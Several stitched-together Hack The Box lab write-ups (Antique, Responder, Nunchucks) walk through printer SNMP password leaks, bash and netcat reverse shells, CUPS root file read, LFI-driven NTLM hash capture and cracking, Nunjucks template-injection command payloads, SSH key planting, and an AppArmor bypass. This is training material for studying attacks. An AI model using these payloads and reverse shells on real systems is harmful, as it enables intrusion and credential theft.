Antique is a machine from Hack The Box which focuses on attacking an exposed printer over telnet in order to gain access to the machine. Then we find that Cups is running locally and the version is vulnerable to a Root File Read exploit which allows us to read any file on the system as root. It is a pretty straight forward box, however anyone can easily miss these subtle things. Also, this box covers the importance of being able to understand programming language, whether you are a cybersecurity enthusiast or professional.

First, we run nmap to look for open ports and services with the command sudo nmap -v -sV -sC -oN nmap -p-


And we only have port 23 open which is running telnet:



Let’s try accessing the service with the command telnet


We are greeted with a message that says HP JetDirect which indicates we are dealing with a printer service. If you didn’t know that, a quick google search can verify that:


Trying random passwords doesn’t work in our favor:


Since we know we are dealing with a printer, we can google around to see if there are any exploits for this specific printer:


And we find this page which talks about different ways to exploit HP JetDirect printers, which is lucky for us. This article covers how to get a JetDirect password over SNMP

Direct Attack

We can confirm that SNMP is running by checking to see if port 161 is open using nmap with the command sudo nmap -v --min-rate 10000 -sU -oN udp_nmap


And it is! However, the only thing is that the upd scan hangs the machine for a minute before it comes back up:



So we can try the command that we found on the site. The command being snmpget -v 1 -c public .


And we are given what appears to be some hex output starting after the word BITS. We can use CyberChef to decode the hex:


And we get the password of P@ssw0rd@123!!123

Direct Execute

Now that we have our password, we can login to the printer service:


We see that we can type ? for the help menu. And the first thing that stands out is the exec options which allows us to execute commands. We can even try the example provided of exec id which shows we are the lp user:


So the next thing to do is to try and get a reverse shell. Let us first create a bash script that has a reverse shell one liner of bash -c 'bash -i >& /dev/tcp/<YOUR IP>/<PORT> 0>&1' and then start a local Python3 Server with sudo python3 -m http.server 80


Then let’s have netcat ready with nc -lvnp <PORT>


And now back in our printer connection we can use wget with exec wget <YOUR IP>/ -O /tmp/


And we get a GET request on our Python3 Server:


And finally, we can run our bash script with exec bash /tmp/


And we have a shell:


We can upgrade our shell with the following commands:

  1. python3 -c 'import pty;pty.spawn("/bin/bash")' then CTRL+Z to send to background
  2. stty raw -echo; fg then press ENTER twice
  3. export TERM=xterm so that we can clear our window


We can find the user flag right where we landed:


Privilege Escalation

Doing some basic system enumeration, we find that port 631 is open and running locally with the command ss -lnpt


Let’s see what this page is all about, for that we are going to use chisel to establish a tunnel between our machine and the target’s. First, let’s start a chisel server locally with ./chisel server --reverse -p <PORT>


Then use wget to download the chisel binary somewhere on the machine, I prefer the /dev/shm directory. Then establish a connection with ./chisel client <YOUR IP>:<PORT> R:631:

on attacker pc

└──╼ $sudo ./chisel server -p 8000 --reverse
[sudo] password for puck: 
2022/06/03 15:36:39 server: Reverse tunnelling enabled
2022/06/03 15:36:39 server: Fingerprint N01MGLpwtNaMNnlPNrEPO3F33PxN5WZUj4+LJQ/6bMo=
2022/06/03 15:36:39 server: Listening on
2022/06/03 15:36:44 server: session#1: tun: proxy#R:631=>631: Listening

on target

./chisel client R:631:


And now we can visit the CUPS by going to on our local browser:


And we get a CUPS version 1.6.1 which a quick google search will show that it is vulnerable to both Remote Command Execution and a Root File Read vulnerability:


Now I could not get the Remote Command Execution to work, mainly due because it was written in Python 1 and the machine has Python3 so it created a lot of issues. Even with the chisel tunnel established. If someone was able to do so, feel free to leave a comment below. So I focused on the Root File Read which can be found here.

Taking a quick look at the description, we see that a member of the lpadmin group can make changes to the cupsd.conf file and specify the Error Log path. Then by visiting the Error Log page on the web interface, since the cupsd daemon is running a root, we can view the file on the Error Log path as plain text.


Now this sounds good because are part of the lpadmin, however we can’t edit the cupsd.conf file:


However, there is a third link which goes over the source code of this attack which can be found here.

Direct File Read

Now the code is written in Ruby and I am by no means a Ruby coder, however if you are familiar with any programming language, you can still decode and understand most programming languages. The first thing I saw was that the FILE variable was set to /etc/shadow:


Then I saw that it checks for the cupsctl binary and assigns it to the variable ctl_path:


Which we can check as well with the command which cupsctl


Then finally it executes the command as ctl_path ErrorLog=FILE and checks the web interface for the error log:


Now if we take a look at our web interface that we have established through chisel, we also see the error log in the Administration tab:


Clicking on the View Error Log button takes us right where we need to be:


So let’s give it a whirl by just repeating the steps of the Ruby Script. First we can assign the file with the command cupsctl ErrorLog=/etc/shadow


And then if we go to our error log page:


We can see the /etc/shadow contents which only root should be able to see. So now we can repeat the step and get the root flag with cupsctl ErrorLog=/root/root.txt


And there we go:


A Direct win 🙂


The Pwnkit vulnerability was released to the public in January 2022 although it was discovered on November 2021. This machine was released in November 2021 so at the time I hadn’t checked for Pwnkit to get root access but this is a unintended way of getting root.

There are 3 things I like to check for:

  1. Kernel version with uname -a and anything earlier than 5.16 is a good sign
  2. Polkit version dpkg -s policykit-1 | grep -i version and anything earlier than 0.105-26ubuntu1.2 is a good sign
  3. If pkexec is installed with which pkexec which we need


And everything checks out, there is a exploit written in C and in Python. I’ll use the one written in Python since we don't have GCC installed:


We can just copy the script over to the machine and run it using python3



As you can see the machine is pretty straightforward. It does emphasize having the ability to do the proper searches using a Search Engine in order to find the exploits needed. These subtle things can be easily missed even in straightforward machines like these. If you are familiar with CUPS then the cupsctl command would have been a given, but if you weren’t like I was, then this was good practice for some code analysis and recreating the exploit manually. Hope you enjoyed the write up!

Feel free to leave a comment if you have any questions or suggestions 🙂

Designed by Daniel Lopez


# id
uid=0(root) gid=7(lp) groups=7(lp),19(lpadmin)
# hostname
# crontab -l
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# For more information see the manual pages of crontab(5) and cron(8)
# m h dom mon dow command
@reboot python3 /root/ -c /root/
@reboot /usr/sbin/cupsd -c /etc/cups/cupsd.conf
@reboot sudo -u lp authbind --deep python3 /var/spool/lpd/





Windows is the most predominant operating system in today’s world because of its easy-to-use GUI accessibility. About 85% of the market share has become a critical OS to attack. Furthermore, most organizations use Active Directory to set up their Windows domain networks. Microsoft employs NTLM (New Technology LAN Manager) & Kerberos for authentication services. Despite known vulnerabilities, NTLM
remains widely deployed even on new systems to maintain compatibility with legacy clients and servers.

This lab focuses on how a File Inclusion vulnerability on a webpage being served on a windows machine can be exploited to collect the NetNTLMv2 challenge of the user that is running the web server. We will use a
utility called Responder to capture a NetNTLMv2 hash and later use a utility known as john the ripper to test millions of potential passwords to see if they match the one used to create the hash. We will also be
taking a deeper look at the working process of NTLM authentication and how the Responder utility captures the challenge. We believe that it’s crucial to understand the under the hood workings of a tool or a
framework as it strengthens the foundation of one’s understanding, which aids in the real world exploit scenarios that one might face, which do not appear to be vulnerable at the first look. Let’s dive straight into it.

We will begin by scanning the host for any open ports and running services with a Nmap scan. We will be using the following flags for the scan:

-v : Increase the verbosity level (basically output more info)
-p- : This flag scans for all TCP ports ranging from 0-65535
-sV : Attempts to determine the version of the service running on a port
-sC : Scan with default NSE scripts
--min-rate : This is used to specify the minimum number of packets Nmap should send per second; it speeds up the scan as the number goes higher

nmap -v -p- –min-rate 5000 -sV -sC

Now we will navigate to [Target_IP]
→ and here we get our page not found error.

→ Now we have to add this domain to our /etc/hosts file on our system

echo " unika.htb" | sudo tee -a /etc/hosts

we can open our webpage

Pages are using PHP.

Try changing the language to another one and we get a page=french.html parameter in the URL.
This can be a case of LFI (local file inclusion)

Let’s play with this website →

and here we are we can

Let’s try reading the etc/hosts file on our target system using LFI

└──╼ $curl http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts
# Copyright (c) 1993-2009 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
# # source server
# # x client host

# localhost name resolution is handled within DNS itself.
# localhost
# ::1 localhost

→ Now this is all due to the include() function in PHP

→ Our real work starts from here. Now what we are going to do here is we are going to capture the NTLM (New Technology LAN Manager) hash of our administrator using a tool called Responder

, yes our machine is named after it.

// — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

How does Responder work?

Responder can do many different kinds of attacks, but for this scenario, it will set up a malicious SMB server. When the target machine attempts to perform the NTLM authentication to that server, the Responder sends a challenge back for the server to encrypt with the user’s password. When the server responds, the Responder will use the challenge and the encrypted response to generate the NetNTLMv2. While we can’t reverse the NetNTLMv2, we can try many different common passwords to see if any generate the same challenge-response, and if we find one, we know that is the password. This is often referred to as hash cracking, which we’ll do with a program called John The Ripper.

// — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

👆🏻this was from HTB’s official machine manual

Let’s download the responder

git clone

Check that your Responder.conf file is like this one here

Run the tool

└──╼ $sudo python3 /usr/share/responder/ -I tun0
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|

NBT-NS, LLMNR & MDNS Responder

Author: Laurent Gaffie (
To kill this script hit CTRL-C

[+] Poisoners:

[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]

[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]

[+] Generic Options:
Responder NIC [tun0]
Responder IP []
Challenge set [random]
Don't Respond To Names ['ISATAP']

[+] Current Session Variables:
Responder Machine Name [WIN-WX3RHQPJ4A3]
Responder Domain Name [GX64.LOCAL]
Responder DCE-RPC Port [49567]

[+] Listening for events...

[SMB] NTLMv2-SSP Client :
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:86fd8fe891c12f85:855CA36DD9E242A58A10E06C30DE9854:010100000000000080743E22B471D80111E8B910E98EBC1F0000000002000800470058003600340001001E00570049004E002D0057005800330052004800510050004A0034004100330004003400570049004E002D0057005800330052004800510050004A003400410033002E0047005800360034002E004C004F00430041004C000300140047005800360034002E004C004F00430041004C000500140047005800360034002E004C004F00430041004C000700080080743E22B471D801060004000200000008003000300000000000000001000000002000000836CE8FB05B36F7E463C088C6BA3F628383C864696A693F3A9463CEB96021330A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100380032000000000000000000

-I → specifying network interface
After the responder starts now navigate to link

└──╼ $curl http://unika.htb/?page=//
<br />
<b>Warning</b>: include(\\\SOMEFILE): Failed to open stream: Permission denied in <b>C:\xampp\htdocs\index.php</b> on line <b>11</b><br />
<br />
<b>Warning</b>: include(): Failed opening '//' for inclusion (include_path='\xampp\php\PEAR') in <b>C:\xampp\htdocs\index.php</b> on line <b>11</b><br />

Now check the responder screen, We have our hash

we have out NTLM hash of Administrator let’s crack it using john the ripper

echo "your hash" > hash.txt
john --wordlist=[path_to_rockyou.txt] hash.txt


└──╼ $john -w=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton (Administrator)
1g 0:00:00:00 DONE (2022-05-27 11:43) 33.33g/s 136533p/s 136533c/s 136533C/s 123456..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

evil-winrm -i [Target_IP] -u administrator -p [cracked_password]

this command is to gain PS in our attacking system with administrator access using username and password

Navigate to mike’s desktop you will find your flag there.

Protected: htb-late-private

This content is password protected. To view it please enter your password below:

Posted on


October’s UHC qualifying box, Nunchucks, starts with a template injection vulnerability in an Express JavaScript application. There are a lot of templating engines that Express can use, but this one is using Nunchucks. After getting a shell, there’s what looks like a simple GTFObins privesc, as the Perl binary has the setuid capability. However, AppArmor is blocking the simple exploitation, and will need to be bypassed to get a root shell.

Box Stats



nmap found three open TCP ports, SSH (22), HTTP (80), and HTTPS (443):

└──╼ $nmap -sC -sV -oN allports.nmap
Starting Nmap 7.92 ( ) at 2022-04-15 15:25 CEST
Nmap scan report for nunchucks.htb (
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg: 
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| tls-alpn: 
|_ http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 29.79 seconds
└──╼ $

Based on the OpenSSH version, the host is likely running Ubuntu 20.04 Focal.

The site on 80 redirects to https://nunchucks.htb, and the certificate on 443 also gives the same domain. I’ll add it to my /etc/hosts file.

VHost Fuzz

Given the use of domain names, I’ll start wfuzz looking for potential subdomains. Running quickly without a filter shows that the default is 30587 bytes long, so I’ll add --hh 30587 to the arguments and run again:

puck@parrot-lt$ wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 30587 https://nunchucks.htb 
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: https://nunchucks.htb/
Total requests: 4989

ID           Response   Lines    Word       Chars       Payload

000000081:   200        101 L    259 W      4028 Ch     "store"

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

It finds store.nunchucks.htb, which I’ll add to /etc/hosts as well: nunchucks.htb store.nunchucks.htb

nunchucks.htb – TCP 443


The page is for an online marketplace:


There is an email at the bottom, support@nunchucks.htb.

There are links to Log In and Sign up:


I didn’t have any luck bypassing the login, and when I tried to sign up:

 Tech Stack

Looking at the HTTP response headers, the server is running Express, a JavaScript framework:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 22 Oct 2021 18:01:56 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"777d-t5xzWgv1iuRI5aJo57wYpq8tm5A"
Content-Length: 30589

Directory Brute Force

I’ll run feroxbuster against the site:

puck@parrot-lt$ feroxbuster -u https://nunchucks.htb -k

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.1
 🎯  Target Url            │ https://nunchucks.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Cancel Menu™
WLD        3l        6w       45c Got 200 for https://nunchucks.htb/56132a60d50a44e8a652348a707d35e1 (url length: 32)
WLD         -         -         - Wildcard response is static; auto-filtering 45 responses; toggle this behavior by using --dont-filter
WLD        3l        6w       45c Got 200 for https://nunchucks.htb/49243936a43a4aae8c5c1f8feb994d1f0d38fc33cdd3433f9073ea6ac78f04eedf7c7330230340c7855df648a1940155 (url length: 96)
200      183l      662w     9172c https://nunchucks.htb/login
301       10l       16w      179c https://nunchucks.htb/assets
200      183l      662w     9172c https://nunchucks.htb/Login
301       10l       16w      193c https://nunchucks.htb/assets/images
301       10l       16w      185c https://nunchucks.htb/assets/js
301       10l       16w      187c https://nunchucks.htb/assets/css
200      250l     1863w    19134c https://nunchucks.htb/privacy
200      187l      683w     9488c https://nunchucks.htb/signup
200      245l     1737w    17753c https://nunchucks.htb/terms
301       10l       16w      179c https://nunchucks.htb/Assets
301       10l       16w      193c https://nunchucks.htb/Assets/images
301       10l       16w      185c https://nunchucks.htb/Assets/js
301       10l       16w      187c https://nunchucks.htb/Assets/css
200      250l     1863w    19134c https://nunchucks.htb/Privacy
200      245l     1737w    17753c https://nunchucks.htb/Terms
200      187l      683w     9488c https://nunchucks.htb/Signup
200      187l      683w     9488c https://nunchucks.htb/SignUp
200      183l      662w     9172c https://nunchucks.htb/LOGIN
[####################] - 3m    269991/269991  0s      found:20      errors:0      
[####################] - 2m     30001/29999   188/s   https://nunchucks.htb
[####################] - 2m     29999/29999   166/s   https://nunchucks.htb/assets
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/assets/images
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/assets/js
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/assets/css
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets/images
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets/js
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets/css

Looking through these links, nothing interesting jumped out that I hadn’t looked at already.


This site is for a coming soon store:


If I enter an email address, there’s a message:


Shell as david

Identify SSTI / SSJSI

After wasting some time trying to get the server to connect to me, I tried a server-side template injection payload:


It worked! {{7*7}} became 49.


In Googling around to understand what templating engine Express uses, it turns out it supports a lot! But one on the list jumped out:


When it matches the box name, that’s a good hint! Googling for “nunchucks template injection” led to this post. It shows how to build different payloads, but the last one is the most interesting as it shows code execution:

"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}@htb.htb"}

I’ll add backslashes to escape the double quotes, and add that payload to my Repeater window. It gets /etc/passwd:


The code execution is happening as the david user (when given id as the command):


OS Exploration

I could go right for a reverse shell,

"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 6363 >/tmp/f')\")()}}@htb.htb"}

but I might check if I can grab user.txt first.

Running ls -l /home shows only one user, david:


user.txt is in that directory:


And I can grab it:



To get a shell, I’ll write my SSH key into /home/david/.ssh/authorized_keys. First create the directory:

{"email":"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('mkdir /home/david/.ssh')\")()}}@htb.htb"}

Now add my public key:

{"email":"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmc2jjDKyd+vzFF+iKyFsoRditbvBnnaH1XUKHy2+RgcCXTn6xviLPJb+FJ4FZgua28nBhyLwgvRox4uBYcZLAIUs+y1A/qwFinFzd5W+RTeESxjANo/YFkdlT+ZEBN7x/d1ZUR1gbPQCWOW/eTyIQGR0IGhEj1MTeE6+u9LA/5OZFYhqfvYd6MElJWbYLgb3KnryPrin3F4T7oRTve1U5Wisht67Ep1KZSeQEtFlkxw+70Xws67O6AcE87ccK74YWD9MfH8jcE5nxDUDodtNHY4oCh7UC8Btj6HzedBGulzvAoLVK6bBEa52BdjKempoTrWAxgMd5v1sb0o+2CggGmaE4T3HIRWac0oUgQ23ANpEUCAkKaOLhdpAcrGGlAvqQCsgfhSOuyoeAJyZu2wjCVJYAnAYcsXgxA2NVep4MQ/jSRyEbX5rjtz6F+WEdIQBUQhzRSFwWLt4pr4OwMjSsQwGhUAS4pblpFCix2+29OxZ0/Z+vHeOqpJxkWFyg8C0= puck@parrot-lt > /home/david/.ssh/authorized_keys')\")()}}@htb.htb"}

Next set the permissions to 600:

{"email":"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('chmod 600 /home/david/.ssh/authorized_keys')\")()}}@htb.htb"}

And now I can connect over SSH:

└──╼ $ssh david@
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-86-generic x86_64)

* Documentation:
* Management:
* Support:

System information as of Fri 15 Apr 13:34:45 UTC 2022

System load: 0.0
Usage of /: 48.9% of 6.82GB
Memory usage: 51%
Swap usage: 0%
Processes: 227
Users logged in: 1
IPv4 address for ens160:
IPv6 address for ens160: dead:beef::250:56ff:feb9:2759

10 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to Check your Internet connection or proxy settings

Last login: Fri Apr 15 12:41:34 2022 from

Shell as root


There’s no obvious sudo abilities or interesting SetUID/SetGID binaries.

There is an interesting file in /opt:

david@nunchucks:/opt$ ls -l
total 8
-rwxr-xr-x 1 root root  838 Sep  1 12:53
drwxr-xr-x 2 root root 4096 Sep 26 01:18 web_backups

This file is doing a backup of the web directories into /opt/web_backsup:

use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
    print "[", strftime("%D %T", localtime), "] $_[0]\n";

sub archive
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";

if ($> != 0) {
    die "You must run this script as root.\n";

printlog "Backup starts.";
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
printlog "Completed";

But since only root can write to /opt/web_backups, it’s using POSIX::setuid(0) to run as root.

To do this, it must either be SUID or have a capability. It has the setuid capability:

$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
$ which python
$ export TERM=xterm
$ SHELL=/bin/bash script -q /dev/null


GTFOBins Failure

There’s an entry for this on GTFObins. I’ll just use the one liner from there:

david@nunchucks:~$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

For some reason it doesn’t return a root shell.

If I try whoami, it does return root:

david@nunchucks:/etc/apparmor.d$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'

If I create a simple script in /tmp:

david@nunchucks:/tmp$ echo '#!/usr/bin/perl ' >>
echo '#!/usr/bin/perl ' >>
david@nunchucks:/tmp$ echo 'use POSIX qw(strftime);' >>
echo 'use POSIX qw(strftime);' >>
david@nunchucks:/tmp$ echo 'use POSIX qw(setuid);' >>
echo 'use POSIX qw(setuid);' >>
david@nunchucks:/tmp$ echo 'POSIX::setuid(0);' >>
echo 'POSIX::setuid(0);' >>
david@nunchucks:/tmp$ echo 'exec "/bin/sh"' >>
echo 'exec "/bin/sh"' >>

When I try to pass it to perl, it gets an accessed denied:

david@nunchucks:/tmp$ perl 
Can't open perl script "": Permission denied

AppArmor Config

Apparmor is a way to define access controls much more granularly to various binaries in Linux. There are a series of binary-specific profiles in /etc/apparmor.d:

david@nunchucks:/etc/apparmor.d$ ls
abstractions  disable  force-complain  local  lsb_release  nvidia_modprobe  sbin.dhclient  tunables  usr.bin.perl  usr.sbin.ippusbxd  usr.sbin.mysqld  usr.sbin.rsyslogd  usr.sbin.tcpdump

There is one for usr.bin.perl:

david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl 
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/ mrix,
  owner /home/ r,
  owner /home/david/ r,


It’s allowed to have seduid, but it’s not allowed to access /root/*, and it’s only allowed to access a handful of files.

This config basically says it can only run a handful of binaries and the script in /opt. It explicitly denies access to /root and /etc/shadow.


This bug posted to the AppArmor devs shows that while AppArmor will protect a script run with the binary, it won’t have any impact when Perl is invoked via the SheBang.

There’s two common ways to start a script on Linux. The first is to call the interpreter (bash, python, perl) and then give it the script as an argument. This method will apply AppArmor protections as expected.

The other is using a Shebang (#!) and setting the script itself to executable. When Linux tries to load the script as executable, that line tells it what interpreter to use. For some reason, the AppArmor developers don’t believe that the rules for the interpreter should apply there, and so they don’t.

That means if I just run ./, it works:

david@nunchucks:/tmp$ ./ 
# bash

Now I can grab the flag:

# ls
node_modules root.txt
# hostnamectl
Static hostname: nunchucks
Icon name: computer-vm
Chassis: vm
Machine ID: da69e4a5fca6456a8f343eb1ce0bebe0
Boot ID: 25aa349cee9d4539ba5bae4e24b02390
Virtualization: vmware
Operating System: Ubuntu 20.04.3 LTS
Kernel: Linux 5.4.0-86-generic
Architecture: x86-64


Beyond root : tplmap

Unfortunately, there is no such option in tplmap for sending a request in JSON format. Therefore, I created a simple middleware using Flask which acts as a middleman/proxy that will takes the non-JSON request and convert it before forwarding the request to store.nunchucks.htb. Here’s the code:

└──╼ $cat 
from flask import Flask
from flask import request
from urllib.parse import unquote
import requests
import urllib3

app = Flask(__name__)

def index():
data = {
"email": unquote((request.args.get("email")))
req_to_nunchucks ="https://store.nunchucks.htb/api/submit",json=data,verify=False)
return req_to_nunchucks.text'', port=80)

└──╼ $


└──╼ $sudo python3 
[sudo] password for puck: 
* Serving Flask app "nunchucks" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on (Press CTRL+C to quit) - - [20/Apr/2022 12:10:35] "GET /?email=%7B6909880312%7D%7B79%7D%7B%2A47%2A%7D%7B16%7D%7B8209129805%7D HTTP/1.1" 200 - - - [20/Apr/2022 12:10:36] "GET /?email=%7B79%7D%7B%2A47%2A%7D%7B16%7D HTTP/1.1" 200 - - - [20/Apr/2022 12:10:36] "GET /?email=%7Bphp%7D%24d%3D%22VHJ1ZQ%3D%3D%22%3Beval%28%22return+%28%22+.+base64_decode%28str_pad%28strtr%28%24d%2C+%27-_%27%2C+%27%2B%2F%27%29%2C+strlen%28%24d%29%254%2C%27%3D%27%2CSTR_PAD_RIGHT%29%29+.+%22%29+%26%26+sleep%2824%29%3B%22%29%3B%7B%2Fphp%7D HTTP/1.1" 200 - - - [20/Apr/2022 12:10:37] "GET /?email=%24%7B7356083100%7D%24%7B%270G%27.join%28%27pu%27%29%7D%24%7B6633923401%7D HTTP/1.1" 200 - - - [20/Apr/2022 12:10:37] "GET /?email=%24%7B%270G%27.join%28%27pu%27%29%7D



└──╼ $./ -u '' --engine Nunjucks --os-shell
Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

Testing if GET parameter 'email' is injectable
Nunjucks plugin is testing rendering with tag '{{*}}'
Nunjucks plugin has confirmed injection with tag '{{*}}'
Tplmap identified the following injection point:

GET parameter: email
Engine: Nunjucks
Injection: {{*}}
Context: text
OS: linux
Technique: render

Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, javascript code

Run commands on the operating system.
linux $ id
uid=1000(david) gid=1000(david) groups=1000(david)

linux $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 6363 >/tmp/f


└──╼ $nc -nlvp 6363
listening on [any] 6363 ...
connect to [] from (UNKNOWN) [] 59542
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(david) gid=1000(david) groups=1000(david)
$ SHELL=/bin/bash script -q /dev/null